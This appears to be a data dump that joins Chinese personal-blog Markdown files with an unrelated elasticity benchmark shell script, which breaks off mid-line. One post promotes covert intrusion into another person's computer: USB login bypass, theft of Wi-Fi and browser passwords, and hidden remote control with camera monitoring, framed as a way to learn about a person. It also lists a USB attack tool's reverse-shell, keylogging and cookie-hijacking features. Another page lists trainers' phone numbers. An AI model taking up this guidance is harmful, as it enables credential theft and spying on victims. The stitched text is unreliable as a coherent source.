\n\n即使这个人本身没有构建自己的学习体系\n也能`受到环境的被动驱使`\n结交高质量的社交圈,去周围的健身房,书城,活动中心\n在生活和职场中超速蜕变\n\n---\n\n##### 高质量参与者预选\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222601277.png)\n\n \n\n\n问问自己:免费与付费服务的本质区别?\n在[我为知识付费踩过的路与坑](https://mp.weixin.qq.com/s?__biz=MjM5ODM5MjM5Mg==&mid=2650419745&idx=1&sn=dc00dd59a46e72d8c7bb6b3bec55713d&chksm=bec5f50689b27c108c6a4e44c9f20c6efa1cfd09ae2db3faa976d54ff8fe3296e5bf5c57d6a6#rd)文章中\n我做过一个对比:\n为什么要付费?\n抛开`维护版权`这个崇高的词语\n付费课程能带来的收益较多:\n- 系统化的课程体系\n- 精质的讲解,有效的反馈\n- 配套的实验环境和资料\n- 与`布道者`的直接交流\n- 加入高质量的社群\n\n有小伙伴会说:\n- google上免费文件一搜一大把\n- 某宝上有大量的翻录教程\n- 用网盘引擎也能检索到很多会员资料 \n\n其中得失,各有取舍\n而在后者眼里,浪费的时间成本,机会成本,沉默成本\n根本是没法意识到的 \n\n---\n\n> 如今打造自己的`被动收入管道`\n> 我已经尽可能抛弃了`服务式`渠道\n>力争将单次时间的付出投资回报率最大化  \n\n当你随手抛一个问题来的时候:\n- 一个简短的句子,没有详细描述\n- 没有截图,没有录制视频演示\n- 没有背景铺垫和期望预期 \n\n你告诉我,凭什么\n我要为你的慵懒,临界层次不够,买单!?\n\n---\n\n### 一起成长\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222617823.png)\n\n \n如今终身学习的知识时代\n我不会停止努力和精进\n也会继续分享\n\n可对分享的纬度会进行一些调整\n- 入门的基础教程会发布在`网易云课堂`,`kindle电子书`\n- 不断总结的经验和进阶技巧嵌入在`私密社群`中共享\n- 门槛:用你的`核心技能`或者`完成考验任务`作为参与的背书 \n\n一些有可能被和谐的教程只能私密分享:\n- 科学上网,访问google,facebook\n- youtube批量下载[且带中文字幕]\n- 网络安全,渗透审计的知识与防范\n- 办公自动化\n\n\n---\n\n### 欢迎你来到我的小小世界\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222626211.png)\n\n \n我会随手分享一些学习和成长中的经历\n比如: \n\n 怎么制作视频上传网易云课堂\n 怎么打造被动收入的管道\n 怎么从小白构建自己的初阶信息体系 \n 怎么布施自己的个人品牌营销矩阵\n\n最近的期望:\n学习制作kindle电子书\n上架亚马逊,多看等阅读平台 \n\n> 不做任何服务性的承诺\n\n 注意:\n 1. 并不会承诺一定分享教程和资源\n 2. 也许你会看到:\n 溜了我的小狗\n 今天夜很美\n\n\n\n---\n\n\n### 希望和你做朋友 \n> 愿意,你就来\n\n 我不是很厉害的黑客\n 然而也不是大神般的极客\n 我只是一个淹没在人潮里平凡的路人\n 仰望星辰和大海\n\n\n\n> 我等你 \n\n微信 hackrobot \n\n摁住二维码\n`付费`加入小密圈\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170408/222638117.jpg)\n \n" }, { "alpha_fraction": 0.6256219148635864, "alphanum_fraction": 0.7126865386962891, "avg_line_length": 16.423913955688477, "blob_id": "4b83ded4f0c93414ce06236588a50c087b4b66f7", "content_id": "4125ce323ea4fd19440a1fc55eeffdc24d133676", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2876, "license_type": "no_license", "max_line_length": 69, "num_lines": 92, "path": "/如何批量下载youtube视频.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### Youtube是什么?\nyoutube是谷歌旗下的视频网站 \n也是`全世界最大的视频网站` \n \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170213/203029465.png)\n\n \n### 对比youtube与优酷\n优酷`仅仅是国内`最大的视频网站 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170213/203036735.png)\n\n\n---\n\n#### 你为什么一定要上youtubde的3大理由\n- 国内很多你想要看到的真相,技术,被刻意屏蔽\n\n 由于众所周知的政策控制,大多数内容是没法公开的\n 比如黑客技术\n\n- youtube的视频来自全球各个国家\n \n 从数量和质量上,都比优酷高N个量级\n 你想的教程,大多比国内更科学更用心\n\n- 大多数人应该有的教育--也是宅男福利\n\n 不得不承认,在某些教育知识领域\n 一直被刻意回避,掩饰\n 导致我们都成年了,还对自己的身体和两性关系没有正确系统认识\n youtube是公开公证的\n 无论处于什么目的,都值得好好学习\n \n#### 基本对比\nyoutube广告最多5S时长,而优酷长达60s令人发指 \nyoutube视频制作用心精良,优酷大量粗糙烂制跟风作品 \nyoutube清晰度高,优酷假高清 \n\n#### 你会看到更大的世界 \n\n---\n### youtube批量下载视频\n本来是想在腾讯视频直接演示的 \n结果还是处于政策原因 \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170213/203043360.png)\n\n \n### 送大家一段话\n好的东西,大多都被深深埋没 \n你在公开的环境看到的 \n大多数都是经过严格的筛选和过滤,甚至修改 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170213/203112737.png)\n\n 我只能将视频上传到网盘 \n在公众号回复关键词\"youtube\"或者'批量下载` \n可以查看演示视频 \n\n\n### 最后\n看youtube需要`科学上网`的环境 \n个人推荐greenvpn \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170213/203119595.jpg)\n\n由于产品好,有太多假冒的官网\n这里贴上官方网址 https://my.hengtian.org/aff.php?aff=3369\n\n 对比我使用过的其他几款产品\n他的优点是:\n- 速度稳定快,可以全局访问facebook,google,youtube等网站\n- 可以每天签到后免费,也可以月付十几元,很便宜,但是很值\n- 在mac,iphone,windows,安卓各个品台客户端体验非常友好\n\n \n---\n### 祝大家明天情人节快乐\n年轻的小伙伴们努力提升自己吧 \n多多赚钱 \n这样你才有能力给你另一半想要的未来 \n\n---\n### 为了爱,我在奋斗,你呢?\n\n对于真正了解youtube好处的小伙伴 \n摁住二维码,直接跳转到淘宝 \n学习批量下载youtue教程 \n嗯,某宝也屏蔽了,我把`youtube改成油管` \n你懂就好 \n- 自带英文字幕和中文字幕 \n- 完全不用担心语言障碍! \n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170213/203125181.png)\n\n \n\n\n" }, { "alpha_fraction": 0.4234592318534851, "alphanum_fraction": 0.6650099158287048, "avg_line_length": 14.181818008422852, "blob_id": "f8d087c07f06117fa94bfb522a797d78b0bf6cb2", "content_id": "487c952a34691388a57387910474a33955c0852f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1306, "license_type": "no_license", "max_line_length": 70, "num_lines": 66, "path": "/武汉义工.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 武汉义工联盟\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192536686.jpg)\n\n\n----\n \n### 小伙伴门的活动地点\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192543777.jpg)\n\n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192549140.jpg)\n\n \n---\n### 新人培训地点\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192554385.jpg)\n\n\n### 如何参加新人培训?\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192558836.jpg)\n\n \n---\n### 一些常见问题\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192604954.jpg)\n\n\n---\n\n### 义工联盟联系方式\n#### 官方网站\nhttp://www.whyigong.com/forum.php\n\n\n#### 新人培训师\n- 安仔:好13437122060 \n- 莎拉:好13294102590\n- 逸林:好13986180500\n- 板蓝根:15927356916\n- 孔夫子:15902708338\n- 渺茫: 15072387007\n \n---\n### 微信群\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192617449.png)\n\n \n---\n\n> 由于群二维码有效期只有7天\n\n 添加我为好友后\n 我可以将你移如到微信群中\n 和小伙伴一起讨论 \n\n---\n\n> 需要单独通知的小伙伴\n\n 请与我备注说明\n 所有的培训和活动通知,我将单独提醒\n \n---\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170217/192624312.png)\n \n \n" }, { "alpha_fraction": 0.6341463327407837, "alphanum_fraction": 0.693379819393158, "avg_line_length": 11.805970191955566, "blob_id": "594016b28d15140f2e194677fd1a0c0af717925a", "content_id": "d3ded6685308bf5d2c20dd2217e9dc0567e88600", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1679, "license_type": "no_license", "max_line_length": 69, "num_lines": 67, "path": "/获取浏览器帐号密码.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 如何获取浏览器明文帐号密码?\n> 关于电脑渗透,可以分为5步曲\n\n- U盘破解windows登录密码,直接进入系统\n- 查看wifi明文密码\n- 拷贝本地硬盘文件资料\n- 获取浏览器所有登陆过网站的明文帐号密码\n- 安装远程控制软件 (开启自启动,隐藏后台,可监控摄像头)\n\n> 今天,我们演示如何获取浏览器密码\n\n---\n### 获取浏览器密码的究极意义\n通常来说,要想完全了解一个人\n那最好的方式就是\n- 邮箱(通常有简历附件)\n- 社交网站的说说日志和照片 \n\n---\n\n 嗯,这里严肃声明:\n 提供的演示和教程仅供进行安全测试\n 进行侵犯作用的行为责任自负 \n\n---\n### 视频演示\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170214/103221985.png)\n\n在微信公众后台回复关键词`密码`\n可以观看演示 \n\n---\n由于众所周知的原因\n审查还是不通过\n我没有办法直接在这里上视频,大家理解就好\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170214/103324018.png)\n \n--- \n### 给大家留一个彩蛋--U盘黑客终极版\n直接看演示视频\nhttps://v.qq.com/x/page/l01425u2igw.html\n\n#### 它的功能\n- Wifi密码窃取\n- 任意文件窃取,自动复制\n- meterpreter反弹shell\n- DNS劫持\n- 远程键盘记录\n- 内存密码抓取\n- CER证书安装\n- LAN自动配置\n- 循环后台讲话\n- 物理防待机\n- 防火墙开关\n- 恶搞壁纸\n- Cookie劫持 \n\n\n---\n### 祝大家情人节快乐\n嗯,今天是我恋爱一周年\n也是跟心爱的女孩子分手的日子\n愿大家能一直走下去,获得幸福\n\n 爱情需要面包\n 人也是会因为爱情成长改变的\n\n\n\n" }, { "alpha_fraction": 0.6372950673103333, "alphanum_fraction": 0.7397540807723999, "avg_line_length": 17.074073791503906, "blob_id": "c3b394bbbea4714a1e69c1a23569f5196a6eae02", "content_id": "6a6df86f044b38dcf05b009130ef16825116d155", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 930, "license_type": "no_license", "max_line_length": 69, "num_lines": 27, "path": "/README.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 前言 \n#### 2014年开始关注互联网 \n\n14年是互联网爆发的元年,微信,O2O的出现开始影响人们生活的方方面面\n\n#### 2015年爱上python\n15年开始学习python,不过由于py2与py3的分裂,加上无人指导,学习比较混乱\n\n 最遗憾的莫过于py3,放眼于现在17年,也还没与被普及, \n 最新的书籍依旧是以py2为基础 \n 处于完美主义,在国内几乎很难找到py3的体系教程,尤其是flask web开发微框架 \n 开始转战youtube \n\n#### 2016为了爱情\n16年邂逅爱情,相处一年,所有的时间都献给了想要爱护的人,牺牲了自己的成长\n\n#### 奋勇直前\n\n17年,正式开始系统学习前端知识 \n- 以项目驱动式学习\n- 使用markdown提交到个人博客\n- 代码托管在gh-pages\n- 做出的DEMO不只是展示,也会不断拓展,可以\n\n---\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222838563.jpg)\n" }, { "alpha_fraction": 0.5762057900428772, "alphanum_fraction": 0.7106109261512756, "avg_line_length": 18.424999237060547, "blob_id": "b6e0115f295f9100d97953a34fb4ce269eb2ecef", "content_id": "abb72be1826e068d2248d995f73a0887b088455b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2455, "license_type": "no_license", "max_line_length": 69, "num_lines": 80, "path": "/前端学习笔记03.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205906196.png)\n\n\n### 前端学习笔记\n#### css 属性值\n- 绝对长度单位 px\n- 相对长度 百分比\n- 以字体(默认16px) 单位 em 和 rem\n- vh/vw 以视窗的百分比 \n#### font-face 字体选项\n- [非衬线字体]sans-serif\n- 也可以自己添加字体源src=\"\"\n#### 移动设备优先\n-`<meta name=\"viewport\" content=\"这里填写设置\">`\n- 首先要禁用缩放\n\n#### before 伪元素\n :before 伪元素在元素之前添加内容。\n 这个伪元素允许创作人员在元素内容的最前面插入生成内容\n 默认地,这个伪元素是行内元素,不过可以使用属性 display 改变这一点\n\n- `overflow:hide 解决浮动溢出的问题`\n---\n### 学习心得\n\n> 学习重点\n\n老师注重用 float,position,repeat 演示定位问题\n结合`:before`解决溢出的问题\n\n---\n### 在学习之外\n在好奇猫网站上看到 happypeter 老师的摩登 js 课程 \n从目录来看 \n是引导一个新手如何从全局思考来思考和学习互联网知识\n于是付费购买\n\n> 知识要学,学习思维和方法更重要\n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205924789.png)\n\n---\n### 这是我的前端-03学习笔记\n于2014年开始,互联网元年兴起,信息技术开始改变传统行业的运作方式\nO2O, 微信平台初现\n\n php 还是网页开发的主要语言,\n python 还没遇上大数据时代, \n js 也一直默默无声\n\n作为一个互联网小白,首选 python 入门\n但是 python2与 python3的版本问题一直没能解决\n在国内教程更新都比较滞后\n`如果英语比较好,或许早能进入一层进境`\n\n 现在也是,学习一门语言,发现大体的函数,面向对象,数据变量\n 其实原理一致,都是一通百通,无非掌握 api, 用法\n 会英文,看文档,读源码,尤其重要\n\n\n\n### 今天的学习进度\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205931935.png)\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205936600.png)\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205942125.png)\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205947711.png)\n\n\n---\n\n### 剩下的学习内容\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205953384.png)\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/205958864.png)\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170204/210004529.png)\n\n" }, { "alpha_fraction": 0.5835402607917786, "alphanum_fraction": 0.726144015789032, "avg_line_length": 13.01990032196045, "blob_id": "0b94d0b6f47d0716fd39e80cfca78e468a2cfae3", "content_id": "2d255d38a4722611ddad2777c83cc2158cf936b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4805, "license_type": "no_license", "max_line_length": 70, "num_lines": 201, "path": "/如何构建你的学习体系--1.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "###如何构建你的学习体系?\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210211393.png)\n\n \n在信息爆炸的时代: \n\n- 如何快速了解一门陌生的领域\n- 如何快速掌握一项技能? \n\n举个栗子:\n\n- 什么是python\n- python可以做什么?\n\n---\n### 完全陌生的领域\n当我们对一个名词或者领域完全不了解时候\n应该去检索这三个网站:\n- 搜索引擎:google\n- wizi百科 \n- 官方网站\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210219487.png)\n\n \n##### 搜索引擎和百科\n能让我们大概对未知的名词有初步的认识\n比如\n- python是一门编程语言\n- python可以用来搭建网站,大数据分析,编写爬虫,安全渗透,机器学习,玩树莓派\n\n\n##### 官方网站\n然而大多数人并没有重视`官方网站`的作用\n遇到问题的时候第一反应是通过搜索\n> 其实官网经常是最优的参考资料: \n\n- 生动有趣的的介绍\n- 详细的说明文档\n- 高效的客服和后台技术支持\n\n---\n### 关键词列表\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210227509.png)\n\n \n \n \n事实上,通过搜索引擎或者官方\n我们只能得到一个最基础的认知\n> 最根本的目标是,获取`关键词列表` \n\n- django\n- 爬虫\n- 大数据\n- 树莓派等\n \n得到了关键词语列表\n我们接下来就可以更快速的寻找教程资源\n \n---\n### 视频教程\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210244661.png)\n\n \n视频教程有ppt演示,有画面操作,有音频解说\n在学习体系中能调动多种感官\n效率较高也比较快速\n> 我们应该在平时积累高质量的在线教育平台 \n\n国内的在线教育平台:\n- 中国大学Mooc\n- 网易云课堂\n- 腾讯视频\n- 多贝公开课等\n\n国外知名的慕课网站:\n- Coursera\n- Udacity\n- edX\n\n##### 1.基础教程的学习策略\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210253410.png)\n\n \n \n \n检索基础课程,分析课时长度和难度\n通常情况下:\n- 只看课程体系的`最初的介绍 `\n \n足够知道我们究竟需要怎样的基础知识\n以及可以应用在那些方面.\n\n如果课时和难度并不高,比如:\n- 课时总时长6个小时\n- 针对小白和初阶而设计 \n\n那么我的建议是:\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210300643.png)\n \n \n- 用`倍速播放器`选择1.5x-2.x倍速播放\n- 不要用强行记忆或者写笔记\n\n快速的浏览课程体系\n能让我们形成一个基础的认知框架\n对陌生领域的害怕和抵触感会消失\n\n##### 2.项目是驱动学习\n在信息爆炸的时代\n知识是以指数级增长\n如果不是针对需要掌握的专业技能\n以项目式驱动学习,是优的方式\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210320545.png)\n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210327401.png)\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210333903.png)\n\n \n---\n### 书籍\n> 没有比读书更好的投资了 \n\n书籍有两个作用:\n- `目录列表`让你了解专业的关键词和知识架构\n- 系统掌握原理和概念\n\n`亚马逊`图书的`高级搜索`可以找到最合适的书籍\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210342448.png)\n\n \n比如\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210350319.png)\n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210358068.png)\n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210407315.png)\n\n \n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210416574.png)\n\n \n---\n### 社会化搜索\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210424738.png)\n\n \n前面提了搜索引擎,在线教育,书籍\n然后学术知识容易获取\n经验确实最宝贵的财富,因为时间成本,金钱成本和试错成本太高\n> 所以通过`社会化搜索`,往往更加高效 \n\n通过以下三种方式:\n- 知乎\n- 微博\n- 博客: 微信公众文章,简书\n \n\n\n> 知乎 \n\n通过`赞同排序`可快速检索到优质的答案\n与其一个人苦苦的思索\n不如去提问,让众多的小伙伴为你出谋划策\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210447504.png)\n \n \n > 微博 \n\n微博本事是零碎的生活记录\n是一个人成长的新路历程\n通过关键词检索,也许这个人正在和你学习一样的知识领域\n遇到同样的问题\n@他,一起学习,虚心请教\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170412/210456029.png)\n\n\n---\n### 后记\n限于时间,仍多许多内容没能铺展开来\n下期预告: \n\n- 垂直搜索\n- 搜索引擎`高级语法命令`\n- 如何勾搭业界权威大牛\n- 社群式学习\n\n---\n### 希望和你做朋友 \n\n> 欢迎添加微信 hackrobot \n\n会邀请你加入到`微信群`\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170322/111214449.jpg) \n" } ]
27
ArashMehraban/ECOMASS
https://github.com/ArashMehraban/ECOMASS
54c91fba0ee516c72c45869fcebe44c74f72d5e3
e3bc4c7f887311f8fbb07dd22cf0f78864330387
2b15dba1034f4982e64c66d992909aeb37d6f649
refs/heads/main
2023-03-12T04:48:33.182068
2021-03-01T16:50:00
2021-03-01T16:50:00
337,918,588
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5531912446022034, "alphanum_fraction": 0.6556773781776428, "avg_line_length": 63.53893280029297, "blob_id": "20173b6c83ec6945b8b03dbf7507a41cc504b0b3", "content_id": "0eb1c015462d6218a8bcda9d31afca082632da3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 242023, "license_type": "no_license", "max_line_length": 294, "num_lines": 3750, "path": "/mms_run.sh", "repo_name": "ArashMehraban/ECOMASS", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nif [ ! -d \"log_files/\" ]\nthen\n mkdir log_files/\nfi\n\necho \"running nu: 0.3 p: 1 h: 26 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"000_linE_nu_0.3_deg_1_h_26_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"000_linE_nu_0.3_deg_1_h_26_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"001_linE_nu_0.3_deg_1_h_26_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"001_linE_nu_0.3_deg_1_h_26_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"002_linE_nu_0.3_deg_1_h_26_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"002_linE_nu_0.3_deg_1_h_26_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"003_linE_nu_0.3_deg_1_h_76_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"003_linE_nu_0.3_deg_1_h_76_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"004_linE_nu_0.3_deg_1_h_76_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"004_linE_nu_0.3_deg_1_h_76_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"005_linE_nu_0.3_deg_1_h_76_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"005_linE_nu_0.3_deg_1_h_76_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"006_linE_nu_0.3_deg_1_h_77_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"006_linE_nu_0.3_deg_1_h_77_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"007_linE_nu_0.3_deg_1_h_77_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"007_linE_nu_0.3_deg_1_h_77_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"008_linE_nu_0.3_deg_1_h_77_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"008_linE_nu_0.3_deg_1_h_77_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"009_linE_nu_0.3_deg_1_h_125_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"009_linE_nu_0.3_deg_1_h_125_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"010_linE_nu_0.3_deg_1_h_125_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"010_linE_nu_0.3_deg_1_h_125_cpu_16_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 125 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 125,125,125 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"011_linE_nu_0.3_deg_1_h_125_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"011_linE_nu_0.3_deg_1_h_125_cpu_16_run_3.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"012_linE_nu_0.3_deg_2_h_6_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"012_linE_nu_0.3_deg_2_h_6_cpu_16_run_1.log\" \n\necho \"running nu: 0.3 p: 2 h: 6 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve 